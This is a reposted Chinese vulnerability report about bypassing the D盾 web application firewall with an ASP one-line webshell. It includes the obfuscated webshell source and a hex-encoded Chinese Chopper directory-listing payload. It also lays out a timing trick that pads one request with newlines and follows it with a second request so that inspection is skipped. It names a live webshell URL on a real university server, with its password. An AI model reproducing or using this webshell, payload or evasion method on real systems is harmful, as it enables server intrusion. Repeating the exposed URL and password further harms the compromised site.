神刀安全网

漏洞标题: D盾一句话动态代码执行拦截bypass

漏洞详情

披露状态:

2016-03-10: 细节已通知厂商并且等待厂商处理中
2016-03-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

D盾拦掉了一句话对传入的动态脚本的执行,然而我们可以以奇葩的姿势来绕过

详细说明:

一句话地址:http://sjxy.ycu.jx.cn/upfiles/Media/d2.asp 密码:z 普通的菜刀是连接不上滴。

代码如下:

code 区域
<%
Function decode(ByVal s, ByVal key)
For i = 1 To Len(s) Step 2
c = Mid(s, i, 2)
k = (i + 1) / 2 Mod Len(key) + 1
p = Mid(key, k, 1)
If IsNumeric(Mid(s, i, 1)) Then
decode = decode & Chr(("&H" & c) - p)
Else
decode = decode & Chr("&H" & c & Mid(s, i + 2, 2))
i = i + 2
End If
Next
End Function
Execute decode("4A7A6C6C7A766C3169676A7869672F7B6A737C6E78762F2B7F2430357767787E6A757B31276D6C82272B3032","9527")
%>

也就是把传入的参数z经过decode函数解码后执行。

把Response.Write(2333333+1)编码后(526573706F6E73652E577269746528323333333333332B3129)执行,效果如图:

漏洞标题:  D盾一句话动态代码执行拦截bypass

但当我们把菜刀的数据包编码后执行确被无情地拦截掉了:

编码前代码:

code 区域
Response.Write("->|"):Dim RR:RR=decode(Request("k1"),Request("key")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name:Next:For Each L in FO.files:Response.Write L.Name:Next:End If:Response.Write("|<-"):Response.End

编码后:

code 区域
526573706F6E73652E577269746528222D3E7C22293A44696D2052523A52523D6465636F6465285265717565737428226B3122292C5265717565737428226B65792229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D653A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D653A4E6578743A456E642049663A526573706F6E73652E577269746528227C3C2D22293A526573706F6E73652E456E64

漏洞标题:  D盾一句话动态代码执行拦截bypass

数据包中已没有任何关键字,显然D盾的拦截不是在传输的过程中,D盾已可以在代码解码执行时检测到代码对一些敏感方法的调用,如FSO等组件。

但当我不以动态的方式去执行代码时(写到服务器Web目录中),却可以成功获得结果。

漏洞标题:  D盾一句话动态代码执行拦截bypass

在梳理了整个过程后,可以作出的结论是D盾检查了最终执行的动态代码的内容(无论用户如何[加密]),但同样可以得出的结论是这样的检测会消耗一定的系统资源。那么如何尽可能地减少资源消耗呢?最终的测试显示,D盾检测了用户的每一个请求,但在检测后面的请求时同时会终止对前面所有请求的检查。

因此一个绕过方案就诞生了,我们把第一个请求的包的动态代码构造的足够多,占用些检测时间。保证第一个请求中的动态代码还未被完成检测时,再发出第二个请求(第二个请求不包含任何动态代码GET网站的任意URL即可),那么对第一个请求的检查还未来的及检查完成就被放过去了。(注:我的方法是在动态代码前加很多0A[换行]来消耗检测时间)

第一个请求:

http://sjxy.ycu.jx.cn/upfiles/Media/d2.asp

POST

code 区域
z=0A0A....省略很多0A0A.....526573706F6E73652E577269746528222D3E7C22293A44696D2052523A52523D6465636F6465285265717565737428226B3122292C5265717565737428226B65792229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D653A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D653A4E6578743A456E642049663A526573706F6E73652E577269746528227C3C2D22293A526573706F6E73652E456E64&key=00000&k1=443A5C63616D7075735C736A78795C77656232303134303632362D335C757066696C65735C4D656469615C

第二个请求:直接GET请求http://sjxy.ycu.jx.cn/upfiles/Media/d2.asp

直接发送POST被拦截:

漏洞标题:  D盾一句话动态代码执行拦截bypass

按上面的方法,成功执行了动态代码:

漏洞标题:  D盾一句话动态代码执行拦截bypass

漏洞证明:

漏洞标题:  D盾一句话动态代码执行拦截bypass

漏洞标题:  D盾一句话动态代码执行拦截bypass

修复方案:

逻辑

版权声明:转载请注明来源 RedFree@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: D盾一句话动态代码执行拦截bypass

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮